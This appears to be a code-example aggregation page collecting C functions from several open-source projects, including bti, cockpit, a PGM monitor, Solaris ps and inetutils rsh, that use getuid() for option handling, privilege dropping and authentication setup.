  epg_save();

  tvhlog(LOG_NOTICE, "STOP", "Exiting HTS Tvheadend");

  if(forkaway)
    unlink("/var/run/tvheadend.pid");

  return 0;

}
示例#11
0
文件: bti.c 项目: sunng87/bti
int main(int argc, char *argv[], char *envp[])
{
	static const struct option options[] = {
		{ "debug", 0, NULL, 'd' },
		{ "verbose", 0, NULL, 'V' },
		{ "account", 1, NULL, 'a' },
		{ "password", 1, NULL, 'p' },
		{ "host", 1, NULL, 'H' },
		{ "proxy", 1, NULL, 'P' },
		{ "action", 1, NULL, 'A' },
		{ "user", 1, NULL, 'u' },
		{ "group", 1, NULL, 'G' },
		{ "logfile", 1, NULL, 'L' },
		{ "shrink-urls", 0, NULL, 's' },
		{ "help", 0, NULL, 'h' },
		{ "bash", 0, NULL, 'b' },
		{ "background", 0, NULL, 'B' },
		{ "dry-run", 0, NULL, 'n' },
		{ "page", 1, NULL, 'g' },
		{ "version", 0, NULL, 'v' },
		{ "config", 1, NULL, 'c' },
		{ "replyto", 1, NULL, 'r' },
		{ "auto-color", 0, NULL, 'C' },
		{ }
	};
	struct session *session;
	pid_t child;
	char *tweet;
	static char password[80];
	int retval = 0;
	int option;
	char *http_proxy;
	time_t t;
	int page_nr;

	debug = 0;
	verbose = 0;
    autocolor = 0;

	session = session_alloc();
	if (!session) {
		fprintf(stderr, "no more memory...\n");
		return -1;
	}

	/* get the current time so that we can log it later */
	time(&t);
	session->time = strdup(ctime(&t));
	session->time[strlen(session->time)-1] = 0x00;

	/* Get the home directory so we can try to find a config file */
	session->homedir = strdup(getenv("HOME"));

	/* set up a default config file location (traditionally ~/.bti) */
	session->configfile = zalloc(strlen(session->homedir) + 7);
	sprintf(session->configfile, "%s/.bti", session->homedir);

	/* Set environment variables first, before reading command line options
	 * or config file values. */
	http_proxy = getenv("http_proxy");
	if (http_proxy) {
		if (session->proxy)
			free(session->proxy);
		session->proxy = strdup(http_proxy);
		dbg("http_proxy = %s\n", session->proxy);
	}

	parse_configfile(session);

	while (1) {
		option = getopt_long_only(argc, argv,
					  "dp:P:H:a:A:u:c:hg:G:sr:nVv",
					  options, NULL);
		if (option == -1)
			break;
		switch (option) {
		case 'd':
			debug = 1;
			break;
		case 'V':
			verbose = 1;
			break;
		case 'a':
			if (session->account)
				free(session->account);
			session->account = strdup(optarg);
			dbg("account = %s\n", session->account);
			break;
		case 'g':
			page_nr = atoi(optarg);
			dbg("page = %d\n", page_nr);
			session->page = page_nr;
			break;
		case 'r':
			session->replyto = strdup(optarg);
			dbg("in_reply_to_status_id = %s\n", session->replyto);
			break;
		case 'p':
			if (session->password)
				free(session->password);
			session->password = strdup(optarg);
			dbg("password = %s\n", session->password);
			break;
		case 'P':
			if (session->proxy)
				free(session->proxy);
			session->proxy = strdup(optarg);
			dbg("proxy = %s\n", session->proxy);
			break;
		case 'A':
			if (strcasecmp(optarg, "update") == 0)
				session->action = ACTION_UPDATE;
			else if (strcasecmp(optarg, "friends") == 0)
				session->action = ACTION_FRIENDS;
			else if (strcasecmp(optarg, "user") == 0)
				session->action = ACTION_USER;
			else if (strcasecmp(optarg, "replies") == 0)
				session->action = ACTION_REPLIES;
			else if (strcasecmp(optarg, "public") == 0)
				session->action = ACTION_PUBLIC;
			else if (strcasecmp(optarg, "group") == 0)
				session->action = ACTION_GROUP;
			else
				session->action = ACTION_UNKNOWN;
			dbg("action = %d\n", session->action);
			break;
		case 'u':
			if (session->user)
				free(session->user);
			session->user = strdup(optarg);
			dbg("user = %s\n", session->user);
			break;

		case 'G':
			if (session->group)
				free(session->group);
			session->group = strdup(optarg);
			dbg("group = %s\n", session->group);
			break;
		case 'L':
			if (session->logfile)
				free(session->logfile);
			session->logfile = strdup(optarg);
			dbg("logfile = %s\n", session->logfile);
			break;
		case 's':
			session->shrink_urls = 1;
			break;
		case 'H':
			if (session->hosturl)
				free(session->hosturl);
			if (session->hostname)
				free(session->hostname);
			if (strcasecmp(optarg, "twitter") == 0) {
				session->host = HOST_TWITTER;
				session->hosturl = strdup(twitter_host);
				session->hostname = strdup(twitter_name);
			} else if (strcasecmp(optarg, "identica") == 0) {
				session->host = HOST_IDENTICA;
				session->hosturl = strdup(identica_host);
				session->hostname = strdup(identica_name);
			} else {
				session->host = HOST_CUSTOM;
				session->hosturl = strdup(optarg);
				session->hostname = strdup(optarg);
			}
			dbg("host = %d\n", session->host);
			break;
		case 'b':
			session->bash = 1;
			/* fall-through intended */
		case 'B':
			session->background = 1;
			break;
		case 'c':
			if (session->configfile)
				free(session->configfile);
			session->configfile = strdup(optarg);
			dbg("configfile = %s\n", session->configfile);

			/*
			 * read the config file now.  Yes, this could override
			 * previously set options from the command line, but
			 * the user asked for it...
			 */
			parse_configfile(session);
			break;
		case 'h':
			display_help();
			goto exit;
		case 'n':
			session->dry_run = 1;
			break;
		case 'v':
			display_version();
			goto exit;
        case 'C':
            autocolor = 1;
            break;
		default:
			display_help();
			goto exit;
		}
	}

	session_readline_init(session);
	/*
	 * Show the version to make it easier to determine what
	 * is going on here
	 */
	if (debug)
		display_version();

	if (session->host == HOST_TWITTER) {
		if (!session->consumer_key || !session->consumer_secret) {
			fprintf(stderr,
				"Twitter no longer supports HTTP basic authentication.\n"
				"Both consumer key, and consumer secret are required"
				" for bti in order to behave as an OAuth consumer.\n");
			goto exit;
		}
		if (session->action == ACTION_GROUP) {
			fprintf(stderr, "Groups only work in Identi.ca.\n");
			goto exit;
		}
	} else {
		if (!session->consumer_key || !session->consumer_secret)
			session->no_oauth = 1;
	}

	if (session->no_oauth) {
		if (!session->account) {
			fprintf(stdout, "Enter account for %s: ",
				session->hostname);
			session->account = session->readline(NULL);
		}
		if (!session->password) {
			read_password(password, sizeof(password),
				      session->hostname);
			session->password = strdup(password);
		}
	} else {
		if (!session->access_token_key ||
		    !session->access_token_secret) {
			request_access_token(session);
			goto exit;
		}
	}

	if (session->action == ACTION_UNKNOWN) {
		fprintf(stderr, "Unknown action, valid actions are:\n"
			"'update', 'friends', 'public', 'replies', 'group' or 'user'.\n");
		goto exit;
	}

	if (session->action == ACTION_GROUP && !session->group) {
		fprintf(stdout, "Enter group name: ");
		session->group = session->readline(NULL);
	}

	if (session->action == ACTION_UPDATE) {
		if (session->background || !session->interactive)
			tweet = get_string_from_stdin();
		else
			tweet = session->readline("tweet: ");
		if (!tweet || strlen(tweet) == 0) {
			dbg("no tweet?\n");
			return -1;
		}

		if (session->shrink_urls)
			tweet = shrink_urls(tweet);

		session->tweet = zalloc(strlen(tweet) + 10);
		if (session->bash)
			sprintf(session->tweet, "%c %s",
				getuid() ? '$' : '#', tweet);
		else
			sprintf(session->tweet, "%s", tweet);

		free(tweet);
		dbg("tweet = %s\n", session->tweet);
	}

	if (session->page == 0)
		session->page = 1;
	dbg("config file = %s\n", session->configfile);
	dbg("host = %d\n", session->host);
	dbg("action = %d\n", session->action);

	/* fork ourself so that the main shell can get on
	 * with it's life as we try to connect and handle everything
	 */
	if (session->background) {
		child = fork();
		if (child) {
			dbg("child is %d\n", child);
			exit(0);
		}
	}

	retval = send_request(session);
	if (retval && !session->background)
		fprintf(stderr, "operation failed\n");

	log_session(session, retval);
exit:
	session_readline_cleanup(session);
	session_free(session);
	return retval;;
}
示例#12
0
static void
cockpit_polkit_agent_initiate_authentication (PolkitAgentListener *listener,
                                              const gchar *action_id,
                                              const gchar *message,
                                              const gchar *icon_name,
                                              PolkitDetails *details,
                                              const gchar *cookie,
                                              GList *identities,
                                              GCancellable *cancellable,
                                              GAsyncReadyCallback callback,
                                              gpointer user_data)
{
  CockpitPolkitAgent *self = COCKPIT_POLKIT_AGENT (listener);
  PolkitIdentity *identity = NULL;
  GSimpleAsyncResult *result = NULL;
  GString *unsupported = NULL;
  ReauthorizeCaller *caller;
  gchar *string;
  uid_t uid;
  GList *l;

  const gchar *argv[] = {
    PACKAGE_LIBEXEC_DIR "/cockpit-polkit",
    cookie,
    NULL,
  };

  g_debug ("polkit is requesting authentication");

  result = g_simple_async_result_new (G_OBJECT (self), callback, user_data,
                                      cockpit_polkit_agent_initiate_authentication);

  uid = getuid ();

  unsupported = g_string_new ("");
  for (l = identities; l != NULL; l = g_list_next (l))
    {
      if (POLKIT_IS_UNIX_USER (l->data))
        {
          if (polkit_unix_user_get_uid (l->data) == uid)
            {
              identity = g_object_ref (l->data);
              break;
            }
        }

      string = polkit_identity_to_string (l->data);
      g_string_append_printf (unsupported, "%s ", string);
      g_free (string);
    }

  if (!identity)
    {
      g_message ("cannot reauthorize identity(s): %s", unsupported->str);
      g_simple_async_result_set_error (result, POLKIT_ERROR, POLKIT_ERROR_FAILED,
                                       "Reauthorization not supported for identity");
      g_simple_async_result_complete_in_idle (result);
      goto out;
    }

  string = polkit_identity_to_string (identity);
  g_message ("Reauthorizing %s", string);
  g_free (string);

  caller = g_new0 (ReauthorizeCaller, 1);
  caller->cookie = g_strdup (cookie);
  caller->helper = cockpit_pipe_spawn (argv, NULL, NULL);
  caller->read_sig = g_signal_connect (caller->helper, "read", G_CALLBACK (on_helper_read), caller);
  caller->close_sig = g_signal_connect (caller->helper, "close", G_CALLBACK (on_helper_close), caller);

  caller->cancellable = g_object_ref (cancellable);
  caller->cancel_sig = g_cancellable_connect (cancellable, G_CALLBACK (on_cancelled), caller, NULL);

  caller->result = g_object_ref (result);
  caller->self = self;

  g_hash_table_replace (self->callers, caller->cookie, caller);

  g_debug ("cockpit-polkit helper starting");

out:
  if (unsupported)
    g_string_free (unsupported, TRUE);
  g_object_unref (result);
  if (identity)
    g_object_unref (identity);
}
示例#13
0
static
gboolean
on_startup (
	G_GNUC_UNUSED gpointer data
	)
{
	int e;

	g_message ("startup.");

/* find PGM protocol id */
// TODO: fix valgrind errors
	int ipproto_pgm = IPPROTO_PGM;
	struct protoent *proto = getprotobyname ("pgm");
	if (proto != NULL) {
		if (proto->p_proto != ipproto_pgm) {
			g_message ("Setting PGM protocol number to %i from /etc/protocols.\n", proto
->p_proto);
			ipproto_pgm = proto->p_proto;
		}
	}

/* open socket for snooping */
	g_message ("opening raw socket.");
	int sock = socket (PF_INET, SOCK_RAW, ipproto_pgm);
	if (sock < 0) {
		perror("on_startup() failed");
#ifdef G_OS_UNIX
		if (EPERM == errno && 0 != getuid()) {
			g_message ("PGM protocol requires this program to run as superuser.");
		}
#endif
		g_main_loop_quit (g_loop);
		return FALSE;
	}

	int _t = 1;
	e = setsockopt (sock, IPPROTO_IP, IP_HDRINCL, (const char*)&_t, sizeof(_t));
	if (e < 0) {
		perror ("on_startup() failed");
		close (sock);
		g_main_loop_quit (g_loop);
		return FALSE;
	}

#ifdef G_OS_UNIX
/* drop out of setuid 0 */
	if (0 == getuid ()) {
		g_message ("dropping superuser privileges.");
		setgroups(0, NULL);
		setuid ((gid_t)65534);
		setgid ((uid_t)65534);
	}
#endif

/* buffers */
	int buffer_size = 0;
	socklen_t len = 0;
	e = getsockopt (sock, SOL_SOCKET, SO_RCVBUF, (char*)&buffer_size, &len);
	if (e == 0) {
		g_message ("receive buffer set at %i bytes.\n", buffer_size);
	}
	e = getsockopt (sock, SOL_SOCKET, SO_SNDBUF, (char*)&buffer_size, &len);
	if (e == 0) {
		g_message ("send buffer set at %i bytes.\n", buffer_size);
	}

/* bind */
	struct sockaddr_in addr;
	memset (&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_ANY);

	e = bind (sock, (struct sockaddr*)&addr, sizeof(addr));
	if (e < 0) {
		perror ("on_startup() failed");
		close (sock);
		g_main_loop_quit (g_loop);
		return FALSE;
	}

/* multicast */
	struct ip_mreq mreq;
	memset (&mreq, 0, sizeof(mreq));
	mreq.imr_interface.s_addr = htonl (INADDR_ANY);
	g_message ("listening on interface %s.\n", inet_ntoa (mreq.imr_interface));
	mreq.imr_multiaddr.s_addr = inet_addr (g_network);
	g_message ("subscription on multicast address %s.\n", inet_ntoa (mreq.imr_multiaddr));
	e = setsockopt (sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, (const char*)&mreq, sizeof(mreq));
	if (e < 0) {
		perror ("on_startup() failed");
		close (sock);
		g_main_loop_quit (g_loop);
		return FALSE;
	}

/* multicast loopback */
/* multicast ttl */

/* add socket to event manager */
	g_io_channel = g_io_channel_unix_new (sock);
	g_message ("socket opened with encoding %s.\n", g_io_channel_get_encoding (g_io_channel));

	/* guint event = */ g_io_add_watch (g_io_channel, G_IO_IN | G_IO_PRI, on_io_data, NULL);

/* period timer to indicate some form of life */
// TODO: Gnome 2.14: replace with g_timeout_add_seconds()
	g_timeout_add (10 * 1000, (GSourceFunc)on_mark, NULL);

	g_message ("startup complete.");
	return FALSE;
}
示例#14
0
int
ucbmain(int argc, char **argv)
{
	psinfo_t info;		/* process information structure from /proc */
	char *psargs = NULL;	/* pointer to buffer for -w and -ww options */
	char *svpsargs = NULL;
	struct psent *psent;
	int entsize;
	int nent;
	pid_t maxpid;

	struct tty *ttyp = tty;
	char	*tmp;
	char	*p;
	int	c;
	pid_t	pid;		/* pid: process id */
	pid_t	ppid;		/* ppid: parent process id */
	int	i, found;

	size_t	size;

	DIR *dirp;
	struct dirent *dentp;
	char	psname[100];
	char	asname[100];
	int	pdlen;
	size_t  len;

	(void) setlocale(LC_ALL, "");

	my_uid = getuid();

	/*
	 * This program needs the proc_owner privilege
	 */
	(void) __init_suid_priv(PU_CLEARLIMITSET, PRIV_PROC_OWNER,
	    (char *)NULL);

	/*
	 * calculate width of pid fields based on configured MAXPID
	 * (must be at least 5 to retain output format compatibility)
	 */
	maxpid = (pid_t)sysconf(_SC_MAXPID);
	pidwidth = 1;
	while ((maxpid /= 10) > 0)
		++pidwidth;
	pidwidth = pidwidth < 5 ? 5 : pidwidth;

	if (ioctl(1, TIOCGWINSZ, &win) == -1)
		twidth = 80;
	else
		twidth = (win.ws_col == 0 ? 80 : win.ws_col);

	/* add the '-' for BSD compatibility */
	if (argc > 1) {
		if (argv[1][0] != '-' && !isdigit(argv[1][0])) {
			len = strlen(argv[1]) + 2;
			tmp = malloc(len);
			if (tmp != NULL) {
				(void) snprintf(tmp, len, "%s%s", "-", argv[1]);
				argv[1] = tmp;
			}
		}
	}

	setbuf(stdout, stdbuf);
	while ((c = getopt(argc, argv, "lcaengrSt:xuvwU")) != EOF)
		switch (c) {
		case 'g':
			gflg++;	/* include process group leaders */
			break;
		case 'c':	/* display internal command name */
			cflg++;
			break;
		case 'r':	/* restrict output to running processes */
			rflg++;
			break;
		case 'S': /* display time by process and all reaped children */
			Sflg++;
			break;
		case 'x':	/* process w/o controlling tty */
			xflg++;
			break;
		case 'l':	/* long listing */
			lflg++;
			uflg = vflg = 0;
			break;
		case 'u':	/* user-oriented output */
			uflg++;
			lflg = vflg = 0;
			break;
		case 'U':	/* update private database ups_data */
			Uflg++;
			break;
		case 'w':	/* increase display width */
			if (twidth < 132)
				twidth = 132;
			else	/* second w option */
				twidth = NCARGS;
			break;
		case 'v':	/* display virtual memory format */
			vflg++;
			lflg = uflg = 0;
			break;
		case 'a':
			/*
			 * display all processes except process group
			 * leaders and processes w/o controlling tty
			 */
			aflg++;
			gflg++;
			break;
		case 'e':
			/* Display environment along with aguments. */
			eflg++;
			break;
		case 'n':	/* Display numerical output */
			nflg++;
			break;
		case 't':	/* restrict output to named terminal */
#define	TSZ	30
			tflg++;
			gflg++;
			xflg = 0;

			p1 = optarg;
			do {	/* only loop through once (NTTYS = 2) */
				parg = argbuf;
				if (ntty >= NTTYS-1)
					break;
				getarg();
				if ((p = malloc(TSZ+1)) == NULL) {
					(void) fprintf(stderr,
					    "ps: no memory\n");
					exit(1);
				}
				p[0] = '\0';
				size = TSZ;
				if (isdigit(*parg)) {
					(void) strcpy(p, "tty");
					size -= 3;
				}

				(void) strncat(p, parg, size);
				ttyp->tdev = PRNODEV;
				if (parg && *parg == '?')
					xflg++;
				else {
					char nambuf[TSZ+6]; /* for /dev/+\0 */
					struct stat64 s;
					(void) strcpy(nambuf, "/dev/");
					(void) strcat(nambuf, p);
					if (stat64(nambuf, &s) == 0)
						ttyp->tdev = s.st_rdev;
				}
				ttyp++->tname = p;
				ntty++;
			} while (*p1);
			break;
		default:			/* error on ? */
			errflg++;
			break;
		}

	if (errflg)
		usage();

	if (optind + 1 < argc) { /* more than one additional argument */
		(void) fprintf(stderr, "ps: too many arguments\n");
		usage();
	}

	/*
	 * The -U option is obsolete.  Attempts to use it cause ps to exit
	 * without printing anything.
	 */
	if (Uflg)
		exit(0);

	if (optind < argc) { /* user specified a specific proc id */
		pflg++;
		p1 = argv[optind];
		parg = argbuf;
		getarg();
		if (!num(parg)) {
			(void) fprintf(stderr,
	"ps: %s is an invalid non-numeric argument for a process id\n", parg);
			usage();
		}
		pidsave = (pid_t)atol(parg);
		aflg = rflg = xflg = 0;
		gflg++;
	}

	if (tflg)
		ttyp->tname = NULL;

	/* allocate an initial guess for the number of processes */
	entsize = 1024;
	psent = malloc(entsize * sizeof (struct psent));
	if (psent == NULL) {
		(void) fprintf(stderr, "ps: no memory\n");
		exit(1);
	}
	nent = 0;	/* no active entries yet */

	if (lflg) {
		(void) sprintf(hdr,
		    " F   UID%*s%*s %%C PRI NI   SZ  RSS    "
		    "WCHAN S TT        TIME COMMAND", pidwidth + 1, "PID",
		    pidwidth + 1, "PPID");
	} else if (uflg) {
		if (nflg)
			(void) sprintf(hdr,
			    "   UID%*s %%CPU %%MEM   SZ  RSS "
			    "TT       S    START  TIME COMMAND",
			    pidwidth + 1, "PID");
		else
			(void) sprintf(hdr,
			    "USER    %*s %%CPU %%MEM   SZ  RSS "
			    "TT       S    START  TIME COMMAND",
			    pidwidth + 1, "PID");
	} else if (vflg) {
		(void) sprintf(hdr,
		    "%*s TT       S  TIME SIZE  RSS %%CPU %%MEM "
		    "COMMAND", pidwidth + 1, "PID");
	} else
		(void) sprintf(hdr, "%*s TT       S  TIME COMMAND",
		    pidwidth + 1, "PID");

	twidth = twidth - strlen(hdr) + 6;
	(void) printf("%s\n", hdr);

	if (twidth > PRARGSZ && (psargs = malloc(twidth)) == NULL) {
		(void) fprintf(stderr, "ps: no memory\n");
		exit(1);
	}
	svpsargs = psargs;

	/*
	 * Determine which processes to print info about by searching
	 * the /proc directory and looking at each process.
	 */
	if ((dirp = opendir(procdir)) == NULL) {
		(void) fprintf(stderr, "ps: cannot open PROC directory %s\n",
		    procdir);
		exit(1);
	}

	(void) strcpy(psname, procdir);
	pdlen = strlen(psname);
	psname[pdlen++] = '/';

	/* for each active process --- */
	while (dentp = readdir(dirp)) {
		int	psfd;	/* file descriptor for /proc/nnnnn/psinfo */
		int	asfd;	/* file descriptor for /proc/nnnnn/as */

		if (dentp->d_name[0] == '.')		/* skip . and .. */
			continue;
		(void) strcpy(psname + pdlen, dentp->d_name);
		(void) strcpy(asname, psname);
		(void) strcat(psname, "/psinfo");
		(void) strcat(asname, "/as");
retry:
		if ((psfd = open(psname, O_RDONLY)) == -1)
			continue;
		asfd = -1;
		if (psargs != NULL || eflg) {

			/* now we need the proc_owner privilege */
			(void) __priv_bracket(PRIV_ON);

			asfd = open(asname, O_RDONLY);

			/* drop proc_owner privilege after open */
			(void) __priv_bracket(PRIV_OFF);
		}

		/*
		 * Get the info structure for the process
		 */
		if (read(psfd, &info, sizeof (info)) != sizeof (info)) {
			int	saverr = errno;

			(void) close(psfd);
			if (asfd > 0)
				(void) close(asfd);
			if (saverr == EAGAIN)
				goto retry;
			if (saverr != ENOENT)
				(void) fprintf(stderr, "ps: read() on %s: %s\n",
				    psname, err_string(saverr));
			continue;
		}
		(void) close(psfd);

		found = 0;
		if (info.pr_lwp.pr_state == 0)		/* can't happen? */
			goto closeit;
		pid = info.pr_pid;
		ppid = info.pr_ppid;

		/* Display only process from command line */
		if (pflg) {	/* pid in arg list */
			if (pidsave == pid)
				found++;
			else
				goto closeit;
		}

		/*
		 * Omit "uninteresting" processes unless 'g' option.
		 */
		if ((ppid == 1) && !(gflg))
			goto closeit;

		/*
		 * Omit non-running processes for 'r' option
		 */
		if (rflg &&
		    !(info.pr_lwp.pr_sname == 'O' ||
		    info.pr_lwp.pr_sname == 'R'))
			goto closeit;

		if (!found && !tflg && !aflg && info.pr_euid != my_uid)
			goto closeit;

		/*
		 * Read the args for the -w and -ww cases
		 */
		if (asfd > 0) {
			if ((psargs != NULL &&
			    preadargs(asfd, &info, psargs) == -1) ||
			    (eflg && preadenvs(asfd, &info, psargs) == -1)) {
				int	saverr = errno;

				(void) close(asfd);
				if (saverr == EAGAIN)
					goto retry;
				if (saverr != ENOENT)
					(void) fprintf(stderr,
					    "ps: read() on %s: %s\n",
					    asname, err_string(saverr));
				continue;
			}
		} else {
			psargs = info.pr_psargs;
		}

		if (nent >= entsize) {
			entsize *= 2;
			psent = (struct psent *)realloc((char *)psent,
			    entsize * sizeof (struct psent));
			if (psent == NULL) {
				(void) fprintf(stderr, "ps: no memory\n");
				exit(1);
			}
		}
		if ((psent[nent].psinfo = malloc(sizeof (psinfo_t)))
		    == NULL) {
			(void) fprintf(stderr, "ps: no memory\n");
			exit(1);
		}
		*psent[nent].psinfo = info;
		if (psargs == NULL)
			psent[nent].psargs = NULL;
		else {
			if ((psent[nent].psargs = malloc(strlen(psargs)+1))
			    == NULL) {
				(void) fprintf(stderr, "ps: no memory\n");
				exit(1);
			}
			(void) strcpy(psent[nent].psargs, psargs);
		}
		psent[nent].found = found;
		nent++;
closeit:
		if (asfd > 0)
			(void) close(asfd);
		psargs = svpsargs;
	}

	/* revert to non-privileged user */
	(void) __priv_relinquish();

	(void) closedir(dirp);

	qsort((char *)psent, nent, sizeof (psent[0]), pscompare);

	for (i = 0; i < nent; i++) {
		struct psent *pp = &psent[i];
		if (prcom(pp->found, pp->psinfo, pp->psargs)) {
			(void) printf("\n");
			retcode = 0;
		}
	}

	return (retcode);
}
示例#15
0
文件: rsh.c 项目: 274914765/C
int main (int argc, char **argv)
{
    int index;

    struct passwd *pw;

    struct servent *sp;

    sigset_t sigs, osigs;

    int asrsh, rem;

    pid_t pid = 0;

    uid_t uid;

    char *args, *host;

    set_program_name (argv[0]);

    asrsh = 0;
    host = user = NULL;

    /* If called as something other than "rsh", use it as the host name */
    {
        char *p = strrchr (argv[0], '/');

        if (p)
            ++p;
        else
            p = argv[0];
        if (strcmp (p, "rsh"))
            host = p;
        else
            asrsh = 1;
    }

    /* Parse command line */
    iu_argp_init ("rsh", default_program_authors);
    argp_parse (&argp, argc, argv, ARGP_IN_ORDER, &index, NULL);

    if (index < argc)
        host = argv[index++];

    /* To few args.  */
    if (!host)
        error (1, 0, "host not specified");

    /* If no further arguments, must have been called as rlogin. */
    if (!argv[index])
    {
        if (asrsh)
            *argv = (char *) "rlogin";
        seteuid (getuid ());
        setuid (getuid ());
        execv (PATH_RLOGIN, argv);
        error (1, errno, "cannot execute %s", PATH_RLOGIN);
    }

    argc -= index;
    argv += index;

    /* We must be setuid root.  */
    if (geteuid ())
        error (1, 0, "must be setuid root.\n");

    if (!(pw = getpwuid (uid = getuid ())))
        error (1, 0, "unknown user id");

    /* Accept user1@host format, though "-l user2" overrides user1 */
    {
        char *p = strchr (host, '@');

        if (p)
        {
            *p = '\0';
            if (!user && p > host)
                user = host;
            host = p + 1;
            if (*host == '\0')
                error (1, 0, "empty host name");
        }
    }

#if defined(KERBEROS) || defined(SHISHI)
# ifdef ENCRYPTION
    /* -x turns off -n */
    if (doencrypt)
        null_input_option = 0;
# endif
#endif

    args = copyargs (argv);

    sp = NULL;
#ifdef KERBEROS
    if (use_kerberos)
    {
        sp = getservbyname ((doencrypt ? "ekshell" : "kshell"), "tcp");
        if (sp == NULL)
        {
            use_kerberos = 0;
            warning ("can't get entry for %s/tcp service", doencrypt ? "ekshell" : "kshell");
        }
    }
#elif defined(SHISHI)
    if (use_kerberos)
    {
        sp = getservbyname ("kshell", "tcp");
        if (sp == NULL)
        {
            use_kerberos = 0;
            warning ("can't get entry for %s/tcp service", "kshell");
        }
    }
#endif
    if (sp == NULL)
        sp = getservbyname ("shell", "tcp");
    if (sp == NULL)
        error (1, 0, "shell/tcp: unknown service");


#if defined (KERBEROS) || defined(SHISHI)
  try_connect:
    if (use_kerberos)
    {
        struct hostent *hp;

        /* fully qualify hostname (needed for krb_realmofhost) */
        hp = gethostbyname (host);
        if (hp != NULL && !(host = strdup (hp->h_name)))
            error (1, errno, "strdup");

# if defined (KERBEROS)
        rem = KSUCCESS;
        errno = 0;
        if (dest_realm == NULL)
            dest_realm = krb_realmofhost (host);
# elif defined (SHISHI)
        rem = SHISHI_OK;
        errno = 0;
# endif

# ifdef ENCRYPTION
        if (doencrypt)
#  if defined(SHISHI)
        {
            int i;

            char *term;

            term = xmalloc (strlen (args) + 4);
            strcpy (term, "-x ");
            strcat (term, args);

            rem = krcmd_mutual (&h, &host, sp->s_port, &user, term, &rfd2, dest_realm, &enckey);
            if (rem > 0)
            {
                keytype = shishi_key_type (enckey);
                keylen = shishi_cipher_blocksize (keytype);

                ivtab[0] = &iv1;
                ivtab[1] = &iv2;
                ivtab[2] = &iv3;
                ivtab[3] = &iv4;

                for (i = 0; i < 4; i++)
                {
                    ivtab[i]->ivlen = keylen;

                    switch (keytype)
                    {
                        case SHISHI_DES_CBC_CRC:
                        case SHISHI_DES_CBC_MD4:
                        case SHISHI_DES_CBC_MD5:
                        case SHISHI_DES_CBC_NONE:
                        case SHISHI_DES3_CBC_HMAC_SHA1_KD:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES;
                            ivtab[i]->iv = malloc (ivtab[i]->ivlen);
                            memset (ivtab[i]->iv, 2 * i + 1 * (i < 2) - 4 * (i >= 2), ivtab[i]->ivlen);
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage,
                                               shishi_key_type (enckey), ivtab[i]->iv, ivtab[i]->ivlen);
                            break;
                        case SHISHI_ARCFOUR_HMAC:
                        case SHISHI_ARCFOUR_HMAC_EXP:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES + 2 + 4 * i;
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage, shishi_key_type (enckey), NULL, 0);
                            break;
                        default:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES + 2 + 4 * i;
                            ivtab[i]->iv = malloc (ivtab[i]->ivlen);
                            memset (ivtab[i]->iv, 0, ivtab[i]->ivlen);
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage,
                                               shishi_key_type (enckey), ivtab[i]->iv, ivtab[i]->ivlen);
                    }
                }
            }
            free (term);
        }
        else
#  else
            rem = krcmd_mutual (&host, sp->s_port, user, args, &rfd2, dest_realm, &cred, schedule);
        else
#  endif
# endif
            rem = krcmd (
# if defined (SHISHI)
                            &h, &host, sp->s_port, &user, args, &rfd2, dest_realm);
# else
                            &host, sp->s_port, user, args, &rfd2, dest_realm);
# endif
        if (rem < 0)
        {
            use_kerberos = 0;
            sp = getservbyname ("shell", "tcp");
            if (sp == NULL)
                error (1, 0, "shell/tcp: unknown service");
            if (errno == ECONNREFUSED)
                warning ("remote host doesn't support Kerberos");
            if (errno == ENOENT)
                warning ("can't provide Kerberos auth data");
            goto try_connect;
        }
    }
示例#16
0
文件: expand_path.c 项目: hfs/afd
DESCR__S_M3
/*
 ** NAME
 **   expand_path - expands a relative to absolute path
 **
 ** SYNOPSIS
 **   int expand_path(char *user, char *path)
 **
 ** DESCRIPTION
 **
 ** RETURN VALUES
 **   INCORRECT when we fail to lookup the user name or id. Otherwise
 **   SUCCESS will be returned.
 **
 ** AUTHOR
 **   H.Kiehl
 **
 ** HISTORY
 **   27.04.2008 H.Kiehl Created
 **   25.10.2008 H.Kiehl Return a value to indicate success or failure.
 **
 */
DESCR__E_M3

#include <stdio.h>
#include <string.h>                  /* strcpy(), strerror()             */
#include <sys/types.h>
#include <pwd.h>                     /* getpwuid(), getpwnam()           */
#include <unistd.h>                  /* getuid()                         */
#include <errno.h>


/*############################ expand_path() ############################*/
int
expand_path(char *user, char *path)
{
   struct passwd *pwd;

   errno = 0;
   if (user[0] == '\0')
   {
      if ((pwd = getpwuid(getuid())) == NULL)
      {
         if (errno == 0)
         {
            system_log(ERROR_SIGN, __FILE__, __LINE__,
#if SIZEOF_UID_T == 4
                       _("Cannot find working directory for userid %d in /etc/passwd"),
#else
                       _("Cannot find working directory for userid %lld in /etc/passwd"),
#endif
                       (pri_uid_t)getuid());
            return(INCORRECT);
         }
         else
         {
            system_log(ERROR_SIGN, __FILE__, __LINE__,
#if SIZEOF_UID_T == 4
                       _("Cannot find working directory for userid %d in /etc/passwd : %s"),
#else
                       _("Cannot find working directory for userid %lld in /etc/passwd : %s"),
#endif
                       (pri_uid_t)getuid(), strerror(errno));
            return(INCORRECT);
         }
      }
   }
   else
   {
      if ((pwd = getpwnam(user)) == NULL)
      {
         if (errno == 0)
         {
            system_log(ERROR_SIGN, __FILE__, __LINE__,
                       _("Cannot find users `%s' working directory in /etc/passwd"),
                       user);
         }
         else
         {
            system_log(ERROR_SIGN, __FILE__, __LINE__,
                       _("Cannot find users `%s' working directory in /etc/passwd : %s"),
                       user, strerror(errno));
         }
         return(INCORRECT);
      }
   }

   if (*path != '\0')
   {
      char *ptr,
           tmp_path[MAX_PATH_LENGTH];

      (void)strcpy(tmp_path, path);
      (void)strcpy(path, pwd->pw_dir);

      ptr = path + (strlen(path) - 1);
      if (ptr > path)
      {
         if (*ptr != '/')
         {
            *(ptr + 1) = '/';
            ptr += 2;
         }
         else
         {
            ptr++;
         }
      }
      else
      {
         ptr = path;
         *ptr = '/';
         ptr++;
      }
      (void)strcpy(ptr, tmp_path);
   }
   else
   {
